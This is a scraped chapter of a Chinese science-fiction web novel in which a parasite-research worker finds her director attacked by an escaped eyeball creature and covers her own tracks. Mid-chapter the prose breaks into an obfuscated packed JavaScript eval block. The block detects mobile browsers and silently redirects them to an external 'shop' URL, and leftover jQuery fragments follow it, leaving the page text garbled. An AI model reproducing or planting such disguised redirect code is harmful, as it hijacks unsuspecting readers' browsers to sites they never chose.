33. 天花板上的眼睛(三)

作品:《我决定先不当人[星际]

    澄栖叹气,“咱找个时间把婚离了吧,你有点影响到我找第二春了。”


    那边沉默好半天,原颂才终于确定自己没有听错。


    澄栖说,她要离婚。


    原颂自动把这句话等同于,她打算给他带个绿帽子了。


    “那个人是谁?”他声音有些发冷。


    “什么人?”澄栖有些疑惑。


    “你要离婚,打算跟什么人在一起?”


    原颂想了想,他在威什星还有些能用的人,只要能套出来那个人的身份,悄无声息把人带走,应该不成问题。


    “嗯?你在想什么,没有的事儿。”


    “行,那就没有离婚的必要。”原颂松了一口气,“忙,我先挂了。”


    澄栖看着突然被挂掉的通讯,觉得莫名其妙。话都没说清楚就挂了是什么意思。管他的,这婚早晚得离,还必须是尽快离,要是哪天她寄生虫的身份不保,就真的连逃跑都来不及了。


    又想起来自己只做了和地下实验室那一只眼球的基因检测,而她家里这一只眼球的基因检测还没有做,澄栖思考一下,决定这个基因检测也得顺便做了。


    万一出现新情况呢。


    可是一掀开帘子,玻璃容器里什么东西都没有,顶上被撞出来一个大洞,很显然,眼球越狱逃走了。


    澄栖的面色沉了下去。


    几乎不用思考,她知道眼球接下来会去找谁,庄广生。


    现在庄广生在哪里呢?


    因为新实验体逃跑的事情,庄广生才从布勒宫出来。


    安萨斯倒是没说什么重话,只是提醒他,早点把实验体找回来,相信他的能力之类的话。


    庄广生听两句都要吐了,本来就不好愉快的心情更加不好,更不用提晚上回去睡个好觉。索性就坐车去了研究院,打算先做点事情。


    研究院是夜以继日的一片明亮。


    庄广生在研究院有自己的住所,连着他的办公室。


    宋学没有跟庄广生进办公室,站在办公室门口,这样里面一有动静,他也可以马上反应过来。


    澄栖喘着气赶到研究院的时候,看到的就是宋学像雕塑一样站在门口的样子。


    “院长呢?”澄栖的语气急促。


    她手撑着门,想要破门而入。


    宋学伸手拦开她,“这位研究员,有什么事情吗?”


    这是澄栖头一次听见宋学的声音,和一般守卫中气十足的声音不同,听起来竟然是那种腼腆清澈的声线。


    但是想到宋学的出身,澄栖也能够理解。


    她皱眉,“我没事,但你再拦我一下,里面的院长就要有事情了。”


    宋学依旧拦着她。庄广生并没有提前跟他打招呼,那就是不能放人进去的意思了。


    澄栖在门上敲了几下,“院长,我是037。”


    里面没有任何回应。


    宋学试图把她推走。


    澄栖的声音加大,“庄广生!”


    依旧没有任何回应。


    澄栖转头看着宋学,“你现在还要拦我?”


    宋学有些犹豫,动作迟疑了一瞬,澄栖推开他,强行把门打开了。


    一打开,就看见庄广生坐在椅子上的背影,他的头偏向一边,看着不像是清醒的样子。


    澄栖空间扣里的刀被迅速抽出来,用刀柄将椅子撬过来。


    椅背被旋转的瞬间,一道残影猛然扑向澄清,撞在她的刀背上,掉下去。


    是那只从她家里逃走的眼球。


    紧跟着她进来的宋学端起枪,对着眼球射击,被眼睛快的澄栖拦着。


    “别杀它,这是我们一直在找的实验体,先去看院长!”


    宋学迟疑片刻,看了看澄栖,又看了看地上的已经被澄栖控制的眼球,还是点头,把椅背彻底转过来。


    庄广生脖子上全是血。他死死扯着自己的衣领,手上也沾满了血,还有眼球翅膀上的灰色羽毛。


    眼睛瞪大,说不出来话,因为他的气管已经被眼球咬开了,要是晚一刻,庄广生的动脉估计也要被眼球咬开了。


    而办公桌上,还有一支注射过的针剂。上面也沾了几根细小的羽毛。


    如果不出错,这支注射剂,应该是眼球搞到的,给庄广生用上了,要不然他现在不会是这个不能动的状态。


    还挺聪明的。


    澄栖有点后悔,要是宋学再多拦她一段时间,说不定庄广生真的就死了。


    “院长!”宋学看了一眼办公桌上的注射剂,连忙给庄广生找了解药注射进身体里。


    庄广生的身体缓慢复苏,脖子上的血流得更欢了。


    已经紧急呼唤了救援,但人还没来,澄栖不知道什么原因,也突然倒在了地上,不省人事。


    别说宋学了,就是被澄栖抓在手上的眼球都差点没有反应过来,直到澄栖的小拇指推了它一下,它火速从研究院的窗户飞出去了。


    宋学眼睁睁看着眼球逃掉,想要去追,可是此刻他要是拿开按着庄广生脖子的手,他就会继续流血,还有地上晕倒原因不明的澄栖,咬咬牙,还是眼睁睁看着眼球跑了。


    庄广生很快被送去医院急救,澄栖装了两下,也悠悠转醒过来。


    好巧不巧,在旁边守着她的,正好是帮她做基因检测的研究员同事。


    “你这运气,也太惨了。”研究员同事看着澄栖的眼神里带着怜爱。


    这种被寄生虫袭击的小概率事件都遇上,还是在寄生虫研究院这种地方。


    “很正常,研究院的寄生虫那么多,逃一两只出来报复再正常不过。”


    同事愣了愣,虽然他没有遇到过这种事情,但是他竟然觉得澄栖说得不错。


    “那倒也是,天天对着寄生虫,我都有点麻木了,该死的要什么时候才能退休啊。”


    研究员培养周期太长,工作了也得不停学习,以防万一和最前沿的技术脱轨,比拉磨的驴还要累,说句不好听的,等退休,还不如祈祷自己不要死在工作岗位上。


    “今晚你也加班?”


    同事语气幽怨,“你这是什么话,这段时间前线送过来那么多寄生虫标本,我们难道还有下班的时间。”


    哦,他忘了,澄栖有。要是他有澄栖的工作速度,该多好。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168050|195047||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “帮我再做一份基因检测。”


    澄栖从口袋里掏出来一块染血的布,甚至还是湿的。


    湿她刚刚从眼球翅膀上沾下来的,这上面,除了庄广生的血,还有眼球的血,澄栖又给了一份她自己的血液标本。


    “一共有三个人的血液标本。”她相信以自己同事的能力,一定能把那块染血布上两个不同的基因提取出来。


    也不用再去找眼球逃到哪里,抓到它,再取一份血液标本。现在就能把检测做了。


    同事人蔫蔫的,但是没有拒绝,一口答应下来。


    “行。”


    “感谢,我帮你分析一份寄生虫标本的数据,明天早上我过来拿检测结果。”


    同事顿时表情也不蔫了,说话也有力气了。“真是太谢谢你了!”


    他们的工作任务可不像澄栖那么变态,一只寄生虫标本,足够他接下来好几天都放假,难道这还不足以让他兴奋吗!


    037,真是人民的好同事啊。


    晚上分析完标本已经到了半夜,庄广生醒了。


    命大,喉咙上的伤口一缝,除了失血过多,没有其他的问题。营养液补一补,又能活。澄栖再一次后悔自己到的时间太早。


    只是,好歹是人命,年纪还那么大了,天大地大,人命关天,澄栖就当自己救了一条狗。


    宋学大概是因为护卫不利,已经被庄广生打发来请澄栖过去,他身边,又添了好几个保镖。


    庄广生先是向澄栖表达了感谢。


    澄栖满脸惶恐直摆手。


    两个人你来我往,装模作样半天,最终以庄广生喉咙上的伤口再次崩开结束。


    澄栖抓住机会连忙表示自己该回去了。


    庄广生看着她走得飞快,脸色变阴沉,说话不太利索,“她,不对……劲,去,查。”


    这个研究员,是怎么知道,实验体会在那个时间点出现在他的办公室的?


    除非,她先前就掌握了实验体的动向。而明明已经掌握了实验体动向,却没有往上汇报。


    这个人的举动,处处透露着不对劲。


    庄广生能够发现的端倪,澄栖自然不会忽略。一时好心给自己埋藏下祸根,她现在也在思考,如何才能找个借口,将这件事情糊弄过去。


    一直到回家,她还是没有想出来一个完美将自己摘出去的方法。


    她靠在门上,突然间看到窗户上有一滴血。


    暗骂一声,赶紧拿纸把血擦干净,果不其然,还擦出来一根细小的羽毛。


    幸好今天第一个到她家里的人是她,要是庄广生手下哪个查消息的人,她明天就该蹲在某个暗室里了。


    关上窗户,把门锁好,澄栖去掀之前关眼球的那个玻璃容器上的布,一掀开,果然看见眼球缩在角落里,顶上那么大一个洞,它倒是安安稳稳缩在角落里,不出去了。


    澄栖额头上的青筋跳了跳,赶快拨许三光的通讯,把这个烫手山芋送过去了。


    许三光看着玻璃容器里怪异的寄生虫,什么也没问,只是让澄栖风头过去了赶紧把东西带走,澄栖这才狠狠松了一口气。